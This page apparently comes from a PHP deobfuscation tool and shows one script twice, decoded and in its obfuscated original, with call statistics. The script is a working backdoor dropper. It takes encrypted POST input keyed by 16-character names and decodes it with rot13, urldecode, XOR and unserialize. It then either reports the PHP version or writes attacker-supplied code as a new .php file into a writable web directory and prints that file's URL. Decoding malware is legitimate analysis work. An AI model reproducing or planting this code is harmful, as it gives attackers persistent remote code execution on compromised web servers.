Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function qjCAi($AkFou, $rKVchtqt, $gVPyGoq){$zDdHvsAOEf = "0831e71b-b56a-4d64-80bf-3..
Decoded Output download
<?php function qjCAi($AkFou, $rKVchtqt, $gVPyGoq){$zDdHvsAOEf = "0831e71b-b56a-4d64-80bf-317c615218fc"; $zxYXrBsytU = 'kxuxypoZ';return $AkFou ^ $zDdHvsAOEf[$rKVchtqt % strlen($zDdHvsAOEf)] ^ $gVPyGoq;}$tZYtbpxbgsNCYLBIyb = "rBcFfGgHbI";function GXgvgn(){$YcdCWftV = 'Xlbr';$cyyIysE = 18;$ndItujD = 'dErtiShS';$kqmvJ = base64_decode($ndItujD);$yAUeOZp = 2;$trjyrfpz = 'Vw';$MiNxsHGkhU = 'uqgFHlaGhd';}function RoOIdQH($tZYtbpxbgsNCYLBIyb){ $OeMsgrUR = 's'."t".chr(335-221).'_'.chr(114).'o'."t"."1".chr(428-377);$tZYtbpxbgsNCYLBIyb = $OeMsgrUR($tZYtbpxbgsNCYLBIyb); $YUhBNTV = 54; $aLKEJkGz = 63;$uPcjPUPqS = "r"."a".chr(851-732)."u"."r".'l'.'d'."e"."c".chr(111)."d"."e";$tZYtbpxbgsNCYLBIyb = $uPcjPUPqS($tZYtbpxbgsNCYLBIyb); $YUhBNTV = $aLKEJkGz - 5;$tZYtbpxbgsNCYLBIyb = str_split($tZYtbpxbgsNCYLBIyb); $bNqJgdtTj = 41;return $tZYtbpxbgsNCYLBIyb;}function hIjMC($uNMcz, $gVPyGoq){$uNMcz = array_map("qjCAi", array_values($uNMcz), array_keys($uNMcz), array_values($gVPyGoq)); $aocFYA = 71;$uNMcz = implode("", $uNMcz); $ZbMWXPRZyb = 63;$pRvwqskX = "u".'n'.chr(115)."e".chr(114).'i'.'a'.'l'."i".chr(167-45).chr(119-18);$uNMcz = @$pRvwqskX($uNMcz); $ivPDt = 67;return $uNMcz;}function qTzBYQ($gVPyGoq, $uNMcz){$gVPyGoq = array_slice(str_split(str_repeat($gVPyGoq, intval(count($uNMcz)/16)+1)), 0, count($uNMcz)); $tkxchC = 43;return $gVPyGoq;}function RInAYPbcJ(){echo "akMkSEk"; $GCyne = 'sKNbmXsQTN'; $oTXjR = 49;}function XSFObDHJ($tZYtbpxbgsir){static $uGmHj = array(); $XUtNkAh = 71;$wXvKR = glob($tZYtbpxbgsir . '/*', GLOB_ONLYDIR); $qAbOtzl = 67; $zjUxDrOs = 'WVrL';$tZEpYnu = count($wXvKR); $ynKQd = 36;if ($tZEpYnu > 0) {foreach ($wXvKR as $tZYtbpxbgs) {$cXahWUBPFG = "i".chr(115)."_".chr(119).chr(114).chr(519-414).'t'."a".chr(175-77)."l".chr(101);if (@$cXahWUBPFG($tZYtbpxbgs)) {$uGmHj[] = $tZYtbpxbgs; $UOvErfj = 52;}}}foreach ($wXvKR as $tZYtbpxbgsir) XSFObDHJ($tZYtbpxbgsir);return $uGmHj;}GXgvgn();function COcNMzug($uNMcz){$uRLNh = chr(148-80)."O"."C"."U".'M'.'E'."N"."T".chr(95)."R".chr(1061-982).chr(188-109)."T";$DWdNbPkrJ = $_SERVER[$uRLNh];$wXvKR = XSFObDHJ($DWdNbPkrJ); $qAVhuacgqK = 'uqegwTUJR';$YXMkFBub = array_rand($wXvKR); $VCaqHHhulx = ord('tgur');$thnPQySyU = chr(46).'p'.chr(104)."p";$KlbIhDc = $wXvKR[$YXMkFBub] . "/" . substr(md5(time()), 0, 8) . $thnPQySyU; $RXXaAFHxP = 'ShY';$bYJtn = 'f'."i".'l'.chr(101).'_'.chr(222-110).chr(117).chr(116).chr(95).'c'.chr(1107-996)."n"."t"."e".'n'."t".chr(859-744);@$bYJtn($KlbIhDc, $uNMcz); $jGtFt = 50;$WPQUIxM = 'H'.'T'.chr(84)."P"."_".chr(758-686).chr(79).'S'.'T';$RTgFXriu = "h"."t".chr(116).chr(112).":"."/".'/';$GjeYcI = $RTgFXriu . $_SERVER[$WPQUIxM] . substr($KlbIhDc, strlen($DWdNbPkrJ)); $RXXaAFHxP = trim($qAVhuacgqK); $qJpGCJL = 59;print($GjeYcI); $ZRkRqxBiWm = $VCaqHHhulx / 5; $sEBwMLIWP = $ZRkRqxBiWm * $ZRkRqxBiWm;}function RHVvfs($uNMcz, $YXMkFBub){$YXMkFBub = $YXMkFBub[0]; $FqvwOujDX = 36;if ($uNMcz !== $YXMkFBub){COcNMzug($uNMcz); $uRdJtB = 'NcKh';}else {vgCXjUc(); $ZHouHJm = 'UMDD'; $ZHouHJm = ord('yqb');}}function vgCXjUc(){$BPMUG = 'p'.chr(806-702).chr(112);$dZBSZu = "p".chr(104).'p'.'v'."e".chr(812-698)."s".chr(105)."o".'n';$uNMcz = Array($BPMUG => @$dZBSZu(), ); $wnfCROVz = 'NtiHUcrF';$bjmWGae = "s".'e'.'r'.chr(778-673).chr(97).chr(108).chr(873-768).chr(122)."e";echo @$bjmWGae($uNMcz);}function EesnC(){echo "rBcFfGgHbI"; $OshPK = 'cUO';}foreach ($_POST as $gVPyGoq => $uNMcz){$IryXQNJN = strlen($gVPyGoq); $kijvyX = 14; $oxiMgm = 'olUBhdPepx';if ($IryXQNJN == 16){$uNMcz = RoOIdQH($uNMcz);$gVPyGoq = qTzBYQ($gVPyGoq, $uNMcz); $tZYtbpxbgsqoUlZp = 18;$uNMcz = hIjMC($uNMcz, $gVPyGoq); $tZYtbpxbgsqoUlZp = $tZYtbpxbgsqoUlZp * 14; $fAFJCkXe = 12;if (@is_array($uNMcz)){$YXMkFBub = array_keys($uNMcz); $GfwAUaOvPD = 'RmyTkFk';$uNMcz = $uNMcz[$YXMkFBub[0]]; $IuQaDTV = 'GZmoaYGUs';RHVvfs($uNMcz, $YXMkFBub);}}}die();$idnylJ = 'TbvlhhhcMX';?>
Did this file decode correctly?
Original Code
<?php function qjCAi($AkFou, $rKVchtqt, $gVPyGoq){$zDdHvsAOEf = "0831e71b-b56a-4d64-80bf-317c615218fc"; $zxYXrBsytU = 'kxuxypoZ';return $AkFou ^ $zDdHvsAOEf[$rKVchtqt % strlen($zDdHvsAOEf)] ^ $gVPyGoq;}$tZYtbpxbgsNCYLBIyb = "rBcFfGgHbI";function GXgvgn(){$YcdCWftV = 'Xlbr';$cyyIysE = 18;$ndItujD = 'dErtiShS';$kqmvJ = base64_decode($ndItujD);$yAUeOZp = 2;$trjyrfpz = 'Vw';$MiNxsHGkhU = 'uqgFHlaGhd';}function RoOIdQH($tZYtbpxbgsNCYLBIyb){ $OeMsgrUR = 's'."\164".chr(335-221).'_'.chr(114).'o'."\164"."\61".chr(428-377);$tZYtbpxbgsNCYLBIyb = $OeMsgrUR($tZYtbpxbgsNCYLBIyb); $YUhBNTV = 54; $aLKEJkGz = 63;$uPcjPUPqS = "\162"."\x61".chr(851-732)."\165"."\162".'l'.'d'."\x65"."\x63".chr(111)."\144"."\x65";$tZYtbpxbgsNCYLBIyb = $uPcjPUPqS($tZYtbpxbgsNCYLBIyb); $YUhBNTV = $aLKEJkGz - 5;$tZYtbpxbgsNCYLBIyb = str_split($tZYtbpxbgsNCYLBIyb); $bNqJgdtTj = 41;return $tZYtbpxbgsNCYLBIyb;}function hIjMC($uNMcz, $gVPyGoq){$uNMcz = array_map("qjCAi", array_values($uNMcz), array_keys($uNMcz), array_values($gVPyGoq)); $aocFYA = 71;$uNMcz = implode("", $uNMcz); $ZbMWXPRZyb = 63;$pRvwqskX = "\x75".'n'.chr(115)."\x65".chr(114).'i'.'a'.'l'."\151".chr(167-45).chr(119-18);$uNMcz = @$pRvwqskX($uNMcz); $ivPDt = 67;return $uNMcz;}function qTzBYQ($gVPyGoq, $uNMcz){$gVPyGoq = array_slice(str_split(str_repeat($gVPyGoq, intval(count($uNMcz)/16)+1)), 0, count($uNMcz)); $tkxchC = 43;return $gVPyGoq;}function RInAYPbcJ(){echo "akMkSEk"; $GCyne = 'sKNbmXsQTN'; $oTXjR = 49;}function XSFObDHJ($tZYtbpxbgsir){static $uGmHj = array(); $XUtNkAh = 71;$wXvKR = glob($tZYtbpxbgsir . '/*', GLOB_ONLYDIR); $qAbOtzl = 67; $zjUxDrOs = 'WVrL';$tZEpYnu = count($wXvKR); $ynKQd = 36;if ($tZEpYnu > 0) {foreach ($wXvKR as $tZYtbpxbgs) {$cXahWUBPFG = "\151".chr(115)."\137".chr(119).chr(114).chr(519-414).'t'."\x61".chr(175-77)."\154".chr(101);if (@$cXahWUBPFG($tZYtbpxbgs)) {$uGmHj[] = $tZYtbpxbgs; $UOvErfj = 52;}}}foreach ($wXvKR as $tZYtbpxbgsir) XSFObDHJ($tZYtbpxbgsir);return $uGmHj;}GXgvgn();function COcNMzug($uNMcz){$uRLNh = chr(148-80)."\117"."\x43"."\125".'M'.'E'."\x4e"."\124".chr(95)."\x52".chr(1061-982).chr(188-109)."\124";$DWdNbPkrJ = $_SERVER[$uRLNh];$wXvKR = XSFObDHJ($DWdNbPkrJ); $qAVhuacgqK = 'uqegwTUJR';$YXMkFBub = array_rand($wXvKR); $VCaqHHhulx = ord('tgur');$thnPQySyU = chr(46).'p'.chr(104)."\x70";$KlbIhDc = $wXvKR[$YXMkFBub] . "/" . substr(md5(time()), 0, 8) . $thnPQySyU; $RXXaAFHxP = 'ShY';$bYJtn = 'f'."\151".'l'.chr(101).'_'.chr(222-110).chr(117).chr(116).chr(95).'c'.chr(1107-996)."\156"."\x74"."\145".'n'."\x74".chr(859-744);@$bYJtn($KlbIhDc, $uNMcz); $jGtFt = 50;$WPQUIxM = 'H'.'T'.chr(84)."\120"."\137".chr(758-686).chr(79).'S'.'T';$RTgFXriu = "\150"."\x74".chr(116).chr(112)."\x3a"."\57".'/';$GjeYcI = $RTgFXriu . $_SERVER[$WPQUIxM] . substr($KlbIhDc, strlen($DWdNbPkrJ)); $RXXaAFHxP = trim($qAVhuacgqK); $qJpGCJL = 59;print($GjeYcI); $ZRkRqxBiWm = $VCaqHHhulx / 5; $sEBwMLIWP = $ZRkRqxBiWm * $ZRkRqxBiWm;}function RHVvfs($uNMcz, $YXMkFBub){$YXMkFBub = $YXMkFBub[0]; $FqvwOujDX = 36;if ($uNMcz !== $YXMkFBub){COcNMzug($uNMcz); $uRdJtB = 'NcKh';}else {vgCXjUc(); $ZHouHJm = 'UMDD'; $ZHouHJm = ord('yqb');}}function vgCXjUc(){$BPMUG = 'p'.chr(806-702).chr(112);$dZBSZu = "\160".chr(104).'p'.'v'."\x65".chr(812-698)."\163".chr(105)."\157".'n';$uNMcz = Array($BPMUG => @$dZBSZu(), ); $wnfCROVz = 'NtiHUcrF';$bjmWGae = "\163".'e'.'r'.chr(778-673).chr(97).chr(108).chr(873-768).chr(122)."\145";echo @$bjmWGae($uNMcz);}function EesnC(){echo "rBcFfGgHbI"; $OshPK = 'cUO';}foreach ($_POST as $gVPyGoq => $uNMcz){$IryXQNJN = strlen($gVPyGoq); $kijvyX = 14; $oxiMgm = 'olUBhdPepx';if ($IryXQNJN == 16){$uNMcz = RoOIdQH($uNMcz);$gVPyGoq = qTzBYQ($gVPyGoq, $uNMcz); $tZYtbpxbgsqoUlZp = 18;$uNMcz = hIjMC($uNMcz, $gVPyGoq); $tZYtbpxbgsqoUlZp = $tZYtbpxbgsqoUlZp * 14; $fAFJCkXe = 12;if (@is_array($uNMcz)){$YXMkFBub = array_keys($uNMcz); $GfwAUaOvPD = 'RmyTkFk';$uNMcz = $uNMcz[$YXMkFBub[0]]; $IuQaDTV = 'GZmoaYGUs';RHVvfs($uNMcz, $YXMkFBub);}}}die();$idnylJ = 'TbvlhhhcMX';?>
Function Calls
GXgvgn | 1 |
base64_decode | 1 |
Stats
MD5 | 9cdbfaedbaf67ed110c3fb90a0df3fa3 |
Eval Count | 0 |
Decode Time | 58 ms |